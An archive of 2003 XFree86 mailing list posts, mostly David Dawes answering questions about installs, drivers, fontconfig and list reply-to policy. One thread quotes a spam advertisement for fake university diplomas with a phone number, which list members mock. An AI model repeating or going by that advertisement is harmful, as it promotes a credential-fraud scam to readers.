On Thu, May 29, 2003 at 04:38:40PM -0400, David Dawes wrote: On Thu, May 29, 2003 at 10:12:10AM -0700, Miles T Lane wrote: --- David Dawes [EMAIL PROTECTED] wrote: On Thu, May 29, 2003 at 07:34:28AM -0700, Miles Lane wrote: http://fontconfig.org/release/fontconfig-2.2.0.tar.gz It currently has 1.0.2. Interesting. In xc/lib/fontconfig, grep -i ver version.h gave me 1.0.1. xc/lib/fontconfig/fontconfig/fontconfig.h shows: /* * Current Fontconfig version number */ #define FC_MAJOR1 #define FC_MINOR0 #define FC_REVISION 2 It looks like the version string elsewhere wasn't updated. On further inspection, the versioning of fontconfig is a little strange. The version in the XFree86 CVS is something a little newer than 2.1, so it's not really as far behind as it might have seemed. You'll even see the fcpackage_2_1 tag in the XFree86 CVS. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Compiling XFree with BuildLowMem
On Tue, Jun 10, 2003 at 11:24:50AM +1200, Miles Roper wrote: Hi, I'm trying to compile XFree86 4.3.0.1 with #define BuildLowMem = YES as it seems to be a option for low memory machines. I'm trying to reduce memory consumption of XFree for a thinclient solution. When compiling the following error occurs + ln -s ../../../../programs/xmh/box6 . make[4]: *** No rule to make target `../cfb/cfb8cppl.c', needed by `cfb8cppl.c'. Stop. make[3]: *** [includes] Error 2 make[2]: *** [includes] Error 2 make[1]: *** [includes] Error 2 seems to be a problem with xfree86-4.30/xc/programs/Xserver/lmfcfb' Ideas? This is an option that was added to an X Consortium release some time ago. At best it's in need of being reworked, but given our move away from cfb, it probably isn't useful anymore, at least not for the XFree86 server. Aside from building smaller versions of mfb and cfb (which XFree86 only rarely uses), it also disables scalable font backends. You can achieve the same thing for the XFree86 server by simply not loading those font modules. Minimising the footprint of the XFree86 server for certain classes of applications would be an interesting project. Progress in that direction could be made by carefully modularising some of the built-in code (and drivers?). For your specific application, a good start would be to do some analysis and find out where most of the memory is being eaten up. It might not be what you expect. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Re: DPMS under 3.3.6
On Thu, Jun 12, 2003 at 09:10:51PM +0200, Wolfgang Jeltsch wrote: On Thursday, 2003-06-12, 20:27, Mike A. Harris wrote: On Thu, 12 Jun 2003, Wolfgang Jeltsch wrote: why isn't there any information available on the XFree86 website and in the manpages about activating DPMS under XFree86 3.3.6. Option DPMS in the Monitor section doesn't work. Whatever the reason might be, XFree86 3.3.6 is _long_ since obsolete and completely unmaintained. You're strongly advised to use the current XFree86, which is version 4.3.0. Hello, the point is that XFree86 3.3.6 is still used in at least one *current* Linux distribution, namely the current stable release of Debian GNU/Linux. This release provides XFree86 4.1. The problem is that 4.1 doesn't support older video hardware. To get this older hardware working, the current stable Debian release provides some 3.3.6 servers. Well, it's up to Debian what they distribute (and maintain). For its part, the XFree86 Project no longer maintains, supports or advocates using 3.3.x. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Would you like to boost your career? i
On Wed, Jun 25, 2003 at 09:30:51PM -0400, News/Info wrote: Yeah you do have to be a member but even the guidelines say that their No, you don't have to be a member. The member-only restriction was tried with the old newbie/xpert lists, and failed. The relatively small amount of spam that gets through is preferable to having a list moderator manually scan through all non-members postings, which, at times, resulted in multi-week delays in posts getting through with those old lists. Not to mention that member-only is no substitute for a good filter, given that much of the virus mail going around these days appears to come from valid addresses that are likely to be list members. filter is not 100% able to stop the spam and stuff. :( It stops about 99% of it, which should give you an idea of how much isn't making it through to the list. And, as you note, we do warn you up-front that you might see some spam on this list :-). David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Mark Vojkovich Sent: Wednesday, June 25, 2003 8:58 PM To: [EMAIL PROTECTED] Subject: RE: [XFree86] Would you like to boost your career? i Don't you have to be a member to post to this list? How is spam getting through? Mark. On Wed, 25 Jun 2003, News/Info wrote: Methinks your name is wrong... Are you sure it's not Dick Clarke? Get a day job buddy -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Clay Clarke Sent: Wednesday, June 25, 2003 9:18 PM To: [EMAIL PROTECTED] Subject: [XFree86] Would you like to boost your career? i GET YOUR UNIVERSITY DIPLOMA FAST! Do you want a prosperous future, increased earning power more money and the respect of all? Call this number: 1-310-943-3292 (24 hours) There are no required tests, classes, books, or interviews! Get a Bachelors, Masters, MBA, and Doctorate (PhD) degree! Receive the benefits and admiration that comes with a degree! No one is turned down! Call Today 1-310-943-3292 (7 days a week) Confidentiality Security assured! We've been in the Academic field for over 35 years! tu klmcm qmzo lyxsx appmwktnribhp lopstidtcug vumav gfjhxfh ctfpazvkr mnpu k ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Would you like to boost your career? i
On Wed, Jul 09, 2003 at 10:25:59AM +0200, Egbert Eich wrote: David Dawes writes: On Wed, Jun 25, 2003 at 09:30:51PM -0400, News/Info wrote: Yeah you do have to be a member but even the guidelines say that their No, you don't have to be a member. The member-only restriction was tried with the old newbie/xpert lists, and failed. The relatively small amount of spam that gets through is preferable to having a list moderator manually scan through all non-members postings, which, at times, resulted in multi-week delays in posts getting through with those old lists. Not to mention that member-only is no substitute for a good filter, given that much of the virus mail going around these days appears to come from valid addresses that are likely to be list members. The other downside of having an open list is that a considerable number of answers never seem to make it to their destination. The first time someone posts to this list, they get an auto-reply informing them that they may not see the reply if they don't subscribe. For 99% of cases, they have enough time to subscribe if they wish to before someone replies to their message. If they don't want to, that's their choice, made with the knowledge that they may not see any replies. There are a couple of sites that archive this list, so people can go check there if they don't want to subscribe. I think this issue is orthogonal to the one of member-only restrictions. As I have pointed out in a postiong about a similar subject yesterday even when doing a group reply the answer is only sent to the list, not to the author in the From: field unless this author was clever enough to add himself to Cc: - something that we cannot ask from our support customers. And no, I'm convinced now that this is not a problem with my mailer as the RFC clearly states that the Reply-To: filed has precendence over the From: filed. Well, I've never seen this problem. The mailer I use (mutt) handles it just fine. But then, mutt is very flexible and configurable. I have looked thru a long list of postings on this list and only very few replies had the original author in the Cc. Since we cannot say for sure who is subscribed (unless replying to a reply) we would always have to put the original author into the Cc: manually. Something that seems to be forgotten most of the times. The question is if this could not be automated. If we can agree on a solution we may be able to find somebody who'd volunteer to help setting this up for us. I don't believe that it can be automated in any useful way. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Thu, Jul 10, 2003 at 04:31:16PM -0500, Andy Goth wrote: On Tuesday, July 8, 2003 12:05 pm, Egbert Eich wrote: Daniel Stone writes: I also hope like hell Mailman isn't munging Reply-To, because that's just *wrong*. Hm, I don't know what you would call munging, it puts the list address into the Reply-To. Daniel is probably referring to: http://www.unicom.com/pw/reply-to-harmful.html This comes up from time to time, and has been for years. There's no point rehashing that particular matter of personal preference again. If you want to force your own reply-to, you can. It only gets set to the list if you don't provide your own (this was broken, but has been fixed again). I'll continue to use mutt's 'l' reply method most of the time, which sends replies to the list regardless of how the reply-to is set. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Thu, Jul 10, 2003 at 08:40:39PM -0400, Jay R. Ashworth wrote: On Thu, Jul 10, 2003 at 04:10:58PM -0600, Marc Aurele La France wrote: Hm, I don't know what you would call munging, it puts the list address into the Reply-To. Daniel is probably referring to: http://www.unicom.com/pw/reply-to-harmful.html ... which expresses an opinion not that widely held. No, it's that widely held. Been on mailing lists since I had a bang path. It's harmful. Believe me. It's still an *opinion*. 11 years of dealing with XFree86 mailing lists have shown me that for everyone who agrees with it, there is at least one who disagrees. The biggest difference is that those who agree with it are more likely to be so fanatical about it that they'll use their last breath to insist that it's a right vs wrong issue rather than an *opinion*. No amount of rehashing this tired old topic will serve any useful purpose. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Mailing list behaviour and etiquette, in general
On Thu, Jul 10, 2003 at 09:59:02PM -0400, Jay R. Ashworth wrote: And between your attitude and David's, I must say, I can see why there was a fuss with Keith, and why people suggested that he fork the project. If y'all I've been making that suggestion too. Haven't seen anything come of it yet. Hopefully y'all won't have to wait too much longer. can't be bothered to be polite anymore, go find something else to do, 'k? No, really. FOSS doesn't need any bad attitudes, even this late in it's evolution. If objecting to your misrepresentation of your opinion as right vs wrong is a sign of a bad attitude, then cool. I don't know why you fail to consider that in a project as old as XFree86 this tired old issue wasn't considered and dispatched a long long time ago. It was. If you want to look at it as cost vs benefit, the benefit to the subscribers (and archives) as a whole in maximising the chance that they'll see all the discussions outweighs the cost of the occasional misdirected private reply, in my experience over the life of XFree86. It works for us. Unlike you, I'm not claiming that one solution is best for all situations. As I said in another message today, you can set your own reply-to, and it won't get overriden, so some of the stuff on Chip's page doesn't even apply here. A warning from the Surgeon General: Mail sent to this list may be infected by a reply-to header pointing back to the list. Some experts consider this harmful. The most reliable way to avoid this potential harm is to unsubscribe from this list. :-) David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Mailing list behaviour and etiquette, in general
On Thu, Jul 10, 2003 at 11:23:51PM -0400, Jay R. Ashworth wrote: See? I'm not really a snot. Even though I did ask *about* the cleanest question on the list in the 2 weeks I've been here, and got not one answer from anyone... Unfortunately if Egbert and David Bateman don't have any hints for you, you might have a hard time finding someone else here who does. I don't know if the technical docs for the 6 are available, but at some point you might want to dive into the code and see if you can find the problem. It is worth trying 4.3.0 if you haven't already, or even something more recent by downloading the XFree86 server and relevant module binaries from Alan's page (www.xfree86.org/~alanh). David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Fri, Jul 11, 2003 at 02:21:54PM +0200, Egbert Eich wrote: David Dawes writes: On Tue, Jul 08, 2003 at 07:05:29PM +0200, Egbert Eich wrote: I have just checked the replies on the xfree86@ list. Most of them contain just the [EMAIL PROTECTED] addresses. I can't speak for others, but most of my replies (including this one) are like that by design. Yes, I know. But this is not the point I was trying to make. If Joe Newuser has problems getting XFree86 to run he may send email to [EMAIL PROTECTED] (After all it is advertised all over to do so), but he doesn't subscribe to the list (It says nowhere that he should). When Joe Newuser does this, he gets an automatic reply telling him that he may miss replies to his message if he doesn't subscribe to the list. This was done when this list was made public in order to deal with exactly the problem you describe. From a policy point of view I think that this is preferable to adding mechanisms that discourage people from subscribing and thus from giving information back to the group. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Fri, Jul 11, 2003 at 05:41:54PM +0200, Egbert Eich wrote: Marc Aurele La France writes: If you attend a meeting and introduce a new agenda item, it behooves you to remain at that meeting at least until the new item is discussed. Not doing so is just plain rude, and wastes everyone else's time. Why do people think mailing lists are any different? But we say nowhere, that this is a mailing list. It wasn't a real mailing list until a while ago, it was just an alias distributing the messages to a number of people. But we do say that (in an auto-reply), as I've said at least twice already. I don't think the following sequence is unreasonable: 1. user posts to [EMAIL PROTECTED] 2. user gets auto-reply about subscribing 3. user chooses to subscribe (or not) 4. user sees replies to their question (or not) David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Fri, Jul 11, 2003 at 07:33:42PM +0200, Egbert Eich wrote: David Dawes writes: But we do say that (in an auto-reply), as I've said at least twice already. I only saw your second answer after writing the message that lead to this. I don't think the following sequence is unreasonable: 1. user posts to [EMAIL PROTECTED] 2. user gets auto-reply about subscribing 3. user chooses to subscribe (or not) 4. user sees replies to their question (or not) I don't deny that the idea to lurke more potential future supporters to this list has its merits. However do we have any idea how many people actually subscribe and see the answers and how many answers are just written for the trash? If the majority of our answers don't reach their desination we should definitely think about a different support concept. I don't think it matters, because: 1. The original poster may read the answer via one of the archives of this list. How would we ever know? 2. If the original poster chooses to not follow up their question, that is their choice. Given that this is a volunteer group, not a paid support line, the onus must be on the user to follow up on their questions. 3. Most problems are not unique. If the answer doesn't benefit whoever first asked it, it may benefit someone else (either immediately or later via archives), and may contribute to the overall knowledge base of this group. Therefore I don't agree with the assessment that such answers end up in the trash. 4. XFree86 doesn't formally provide support. This list is available to aid to the community as a whole in being self-supporting. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Mon, Jul 14, 2003 at 05:21:43PM +0200, Egbert Eich wrote: Whenever the server terminates with a FatalError() it tells the user to send email to [EMAIL PROTECTED] This creates an enormous amount of traffic here even if it is a user problem has been answered several times already - like our all time favourite cannot find font 'fixed'. My conclusion from this is that the XFree86 server should handle this condition better. I thought that using the 'builtin' font stuff might have been a good way to do that, but unfortunately Juliusz has found that it's going to require more time/work than expected. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Xpert, Any software just for 15$ - 40$
On Tue, Jul 15, 2003 at 02:04:30PM +0200, Egbert Eich wrote: David Dawes writes: On Mon, Jul 14, 2003 at 05:21:43PM +0200, Egbert Eich wrote: Whenever the server terminates with a FatalError() it tells the user to send email to [EMAIL PROTECTED] This creates an enormous amount of traffic here even if it is a user problem has been answered several times already - like our all time favourite cannot find font 'fixed'. My conclusion from this is that the XFree86 server should handle this condition better. I thought that using the 'builtin' font stuff might have been a good way to do that, but unfortunately Juliusz has found that it's going to require more time/work than expected. This will only reduce the number of bug reports not eliminate it. Not all applications have a fallback heuristic all the way down to the 'fixed' font. If only this font is available many applications will refuse to run with an XRequest error on font or an even less conclusive error messages. This will then be posted here and it will be much harder to track down. Has anyone investigated the root cause of why there is no fixed font in the first place -- like why the font server isn't running? Was it never started (a vendor-specific configuration problem), or did it crash (a robustness problem with xfs)? David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
install problem (was: Re: [XFree86] Odd problem with terminals)
On Wed, Jul 16, 2003 at 11:16:46AM -0700, Mark Vojkovich wrote: On Wed, 16 Jul 2003, Christian Convey wrote: Problem 1: When I first ran make install, there was some hp keyboard config thing that was a file, where the installer wanted it to be a directory. I renamed that file from hp to hp.original, and then I could install cleanly. Yes, I've seen this to. It tries replace a file with a directory and it fails. make install of any recent XFree86 will break unless you remove the old file first. This is a bug, which should be fixed. The directory should be HP (that's how it's referenced elsewhere). Maybe installs would still break on platforms with case-insensitive filesystems though, and that should be fixed also. Maybe it's possible that this change could have been avoided by putting the new descriptions in the old file? David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] Re: final issues... xfree86 for the VIA Apollo CLE266
On Fri, Aug 01, 2003 at 02:41:59PM -0400, George Georgalis wrote: When I restart X, I get the error: (EE) Failed to load module via (once-only module, 256) Are you referencing the via module in the Module section of your XF86Config file? If so, that's the cause of this error. It can be fixed by removing the offending reference. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] regarding BSD 4.7
On Mon, Jul 28, 2003 at 02:41:40PM +0530, Hanmantrao,Suhas wrote: hello, I have installed BSD 4.7 on Pentium 4 machine. The graphics adapter card in my machine is Intel 82845G/GL. I am struggling from past 1 week in configuring and starting startx. Please help me in this regard. When I run startx it dumps the following error on my screen agp0 : trying to bind into stolen memory Fatal server error: AddScreen/ScreenInit failed for driver 0 As per your request I have enclosed the error log file with this message. You need XFree86 4.3.0. 4.2.1 doesn't support the 845G. Overriding the chipset detection by telling the driver you have an i810 won't work. (II) I810: Driver for Intel i810 chipset: i810, i810-dc100, i810e, i815, i830M (II) Primary Device is: PCI 00:02:0 (--) Assigning device section with no busID to primary device (**) Chipset override: i810 (**) Chipset i810 found David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Still messin around with ModeLines...
On Tue, Aug 26, 2003 at 12:20:24AM +0200, Bonny wrote: In data Mon, 25 Aug 2003 14:43:16 -0400 David Dawes [EMAIL PROTECTED] scriveva: The name can be anything you like. In fact if you want to eliminate any doubt that a custom mode you specify is the one getting used, give it an unusual name :-). That makes it easy to check for it in the XFree86 log file. We definitely need to see that log file to see what's going on here. Here some info: [EMAIL PROTECTED] log]$ cat XFree86.0.log|grep SOG (II) NVIDIA(0): Not using mode SOG (hsync out of range) This means that the SOG mode has a horizontal sync rate higher than you've specified for your monitor. The monitor section you posted before was: Section Monitor Identifier Monitor0 VendorName NORTEK ModelNameKENDO1511 # DisplaySize 305230 # HorizSync31.0 - 60.0 # VertRefresh 56.0 - 75.0 HorizSync30.0 - 80.0 VertRefresh 56.0 - 100.0 Option dpms ModeLineSOG 94.116 1024 1061 1198 1364 768 770 783 814 -HSync -VSync EndSection The hsync for your mode is 94166/1364 = 69.0. I'd expect the hsync out of range result for the 31.0 - 60.0 HorizSync line, but not for the 30.0 - 80.0 line. Without all of the information (matching config and log files), we still have to make guesses. What do you mean? Or do you need some more excerpts from my logfile? Yes. What you've shown so far isn't consistent with the Monitor section you posted. It's easier to send the whole file than to figure out every line that might be relevant :-). David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] extract (gnu-tar) segfaults on debian SID
On Tue, Aug 26, 2003 at 02:24:23AM +0200, wim delvaux wrote: It happens when installing 4.3.0 with Xinstall.bin MD5 sums seems to be identical Does anybody know why or have the same experience ? We occasionally see reports like this, but I don't recall if the reason for the problem was found. The extract binary for Linux is statically linked. Maybe we need dynamically linked versions? Which binary set did you download? (ie, what did 'sh Xinstall.sh -check' report?) David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] extract (gnu-tar) segfaults on debian SID
On Tue, Aug 26, 2003 at 11:30:57AM +0200, Egbert Eich wrote: David Dawes writes: On Tue, Aug 26, 2003 at 02:24:23AM +0200, wim delvaux wrote: It happens when installing 4.3.0 with Xinstall.bin MD5 sums seems to be identical Does anybody know why or have the same experience ? We occasionally see reports like this, but I don't recall if the reason for the problem was found. The extract binary for Linux is statically linked. Maybe we need dynamically linked versions? Yes, I think that's the problem. Statically linked libc's are not really static any more as they pull in shared modules. This seems to be causing trouble. I can build a glibc22-based dynamically linked version (don't have any glibc23 systems here at the moment) and put that up for both the glibc22 and glibc23 bindists if that would help. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] XFree86 Segmentation Fault (extract problem?)
On Wed, Aug 27, 2003 at 01:32:49PM -0300, L e a n d r o S a l e s wrote: Hi! I'm using Debian woody(unstable version) and I'm trying to install XFree86 4.3. I downloaded Xinstall.sh and run: # sh Xinstall sh -check Checking which OS you're running... uname reports 'Linux' version '2.4.18', architecture 'i686' Object format is 'ELF'. libc version is '6.3.2' (6.3). Binary distribution name is 'Linux-ix86-glibc23' If you don't ... So, I downloaded all http://ftp.xfree86.org/pub/XFree86/4.3.0/binaries/Linux- ix86-glibc23/ files. After this, I did: # sh Xinstall.sh the Xinstall.sh script prompted some questions and asked if I want to continue: Do you wish to continue? (y/n) [n] y Checking which OS you're running... uname reports 'Linux' version '2.4.18', architecture 'i686' Object format is 'ELF'. libc version is '6.3.2' (6.3). Xinstall.sh: line 1050: 1852 Segmentation fault $TAR xzf $VERSTARBALL $VERSIONFILE Warning: can't detect the bindist version ... ... argh!! I don't know what happened! :( I run this same installation other times and everything was successfull. I think that is some problem with extract command. So, if I run, 4 exemple: # chmod +x extract # ./extract Xdoc.tgz (or any other tgz file I got:) == Extracting Xdoc.tgz == Segmentation Fault So, I try to do a shell script with something like this: #!/bin/bash tar zxf $1 I named it 'extract' and did 'chmod +x extract', but it didn't work! :( The Xinstall.sh script said that extract command was bad, rename it to extract.bad and re-create extract file. Does someone can help me? All pointers/suggestions gratefully accepted. Thank you. This is the second report in two days. It seems that the statically linked extract binary isn't as portable as was hoped. I've replaced it with a dynamically linked version. It was built on a glibc22 system (RH 7.2), but it should work on more recent systems. If you still have problems with this one, let us know. If all else fails, you can download the source for extract and build your own. It's in the utils-1.1.0.tgz file in ftp://ftp.xfree86.org/pub/XFree86/4.3.0/source/. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] [PATCH] [BUG] [REREPORT] fontconfig.pc
On Mon, Sep 01, 2003 at 09:26:27PM +0200, Rene Rebe wrote: as mentioned weeks ago, current XFree CVS does not install a fontconfig.pc anymore (it did up to 4.3.99.6 or so when the fontconfig merge happend). This time a patch is attached (hereby relicensed to BSD, X11 whatever you like - as usual). In my personal project I would do it cleaner - but it is in the XFree86-way like implemented in Xcursor and Xft. Well, not quite -- there's no reason to duplicate files already in the source tree as your patch does, or to hardcode values that are defined elsewhere. That's not usually the XFree86 way. Anyway, I've committed a fix for this problem, based on what was in XFree86 4.3 (rather than relicensing the GPL'd version you sent :-). Just a suggestion regarding licensing of patches: The best way to avoid all possible confusion is to make the licensing unambiguous. I often go straight to the patch attachments, and that only has a GPL on it. Thanks for your report. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] [PATCH] [BUG] [REREPORT] fontconfig.pc
On Thu, Sep 04, 2003 at 12:16:19AM +0200, Rene Rebe wrote: I there a better way to send patches? [EMAIL PROTECTED] seems to be a /dev/null target (mostly get lost) - and on this list I normally also do not get responses ... [EMAIL PROTECTED] (aka [EMAIL PROTECTED]) is still monitored. There's also bugs.xfree86.org. Security-related issues should go to [EMAIL PROTECTED], which is also actively monitored. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] mandrake 8.1, brand new nvidia gforce, XFree864.3,...a.out
On Thu, Sep 04, 2003 at 03:08:02PM -0700, Mark Vojkovich wrote: On Thu, 4 Sep 2003, Rob McKibben wrote: /lib/libc-2.2.4.so I believe that means you want to get all your binaries from the /pub/XFree86/4.3.0/binaries/Linux-ix86-glibc22 directory. Did that already while I was waiting for a response. Actually I copied Xinstall.so and extract, from each of the /pub/...glibc2x directories one at a time and ran them. Everytime it responds with: Checking which OS you're running . . . uname reports 'Linux' version '2.4.8-26mdk', architecture 'i686' object format is 'a.out' Linux a.out is no longer supported The following two lines are in my error file after running sh Xinstall.so -check 2 jrmerror Xinstall.sh: file: command not found Xinstall.sh: strings: command not found Should I try to run Xinstall anyway, from library #22, and hope that it overwrites whatever is forcing a.out? From looking at the install script it seems to determine whether or not you have an a.out or elf system by running file on /bin/sh. It looks like the failure case is a.out. Yeah, it's long past time that we made the default case ELF rather than a.out. We probably don't even need to check for a.out on Linux any more. The messages above make it sound like you don't have file or strings on your system which would explain why the a.out vs. elf detection is failing. Do you really not have file or strings? They are unix standard utilities and are usually in /usr/bin. If you don't have file, it makes sense that Xinstall's elf detection would fail. I don't think I've heard of a Linux distribution not having file or strings. I think it's possible to not install them depending on how finely distros are splitting stuff out these days. The script should be modified to check for the utilities it needs. Try the attached version. It does most of this, and also doesn't do the libc version check (which needs 'strings') when doing an install. Running 'Xinstall.sh -check' will still fail, but the installation might succeed assuming the few other utilities required are present. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com Xinstall.sh Description: Bourne shell script
[XFree86] Re: Intel 845GE with ADD card (Chrontel CH7009A) - DVI out
On Tue, Sep 09, 2003 at 05:10:39PM -0700, Jeff Christensen wrote: I'm trying to get my HTPC working. HARDWARE: Aopen MX4GE motherboard: - Intel 845GE chipset for onboard video. Aopen ADD card: - Chrontel CH7009A chipset for S-video and DVI out. Toshiba 30HF83 HDTV. SOFTWARE: XFree86 Version 4.3.0 (Red Hat Linux release: 4.3.0-2) - using the i810 driver. I can get DVI out working at 640x480. It looks great but I can't seem to get any other resolutions though. I've seen some discussions relating the problems with configuring the Intel chipsets through anything but the video BIOS allowed parameters. Is this going to be an insurmountable problem for me? Without seeing the XFree86 log file, I have to guess, but it's possible that you just need to increase the amount of video memory pre-allocated at boot time to 8MB. This is set in one of the BIOS config screens. If that doesn't help, send the log file. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Cannot locate a core pointer device error
On Wed, Sep 10, 2003 at 03:18:33PM +0200, Lorenzo Iannuzzi wrote: I read of success compiling 4.3.99-11 and using CVS snapshot with Hui's patch from bug 314 (http://bugs.xfree86.org/show_bug.cgi?id=314), but i was unable to run it. I don't know if it's related to the patch or others problems, i didn't found any bug describing this problem, so i send you my log. The problem seems related to a malformed XF86Config-4 file, but it works with 4.3.0 official release. I tried also different protocol for mouse driver, or removing all InputDevice sections, but without success. That's a bug in 4.3.99.11. Try 4.3.99.12, which is available as of yesterday. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Problem.
On Wed, Sep 10, 2003 at 08:58:31PM +0100, William Gallafent wrote: Case error. Run something like: perl -pi -e 's/Subsection/SubSection/g' /etc/X11/XF86Config-4 No, the keywords (and most other things) are not case sensitive. The error message implies that a Monitor section contains a SubSection keyword. That's invalid because there are no subsections to Monitor sections. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Lacking organization
On Thu, Sep 11, 2003 at 12:17:23PM -0700, Dan Mergens wrote: I recently read a comment by a contributor who is tired of hearing the same questions over and over regarding configuration and I understand his complaint after responding to several posts. I believe this could be helped a great deal if there was better organization of the website. I've used several resources to configure my laptop for X, but it seems that a google search is more effective that simply navigating the xfree website. For instance, the Support, Documentation, Release page has many good documents with no organization and is surprising missing a link that would explain how to configure and test XFree86! I do believe it is there, but the titles do not indicate so. I don't think it exists, at least not amongst the XFree86 documentation. Quoting from the Installation document at http://www.xfree86.org/4.3.0/Install.html: The next step is to configure the X server. That is covered in detail in an as-yet unwritten document :-(. In the meantime, there are three ways to create a basic X server configuration file for XFree86 4.3.0. One is to run the xf86config utility. Another is to run the xf86cfg utility. The third option is to use the new -configure X server option: (The Installation document, and other XFree86 documents can be found by following the Current release documentation link on the support page.) We used to have a config document, but like a large fraction of our docs, it is too out of date to be useful now. I would be happy to help organize or suggest improvements. I think lack of content to oraganise is the more serious problem. If you have suggestions, or links to useful documentation that isn't referenced on our support page, please either log them in the web site section of bugs.xfree86.org, or send them to [EMAIL PROTECTED] David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Severe Intel (82)855 GM problem
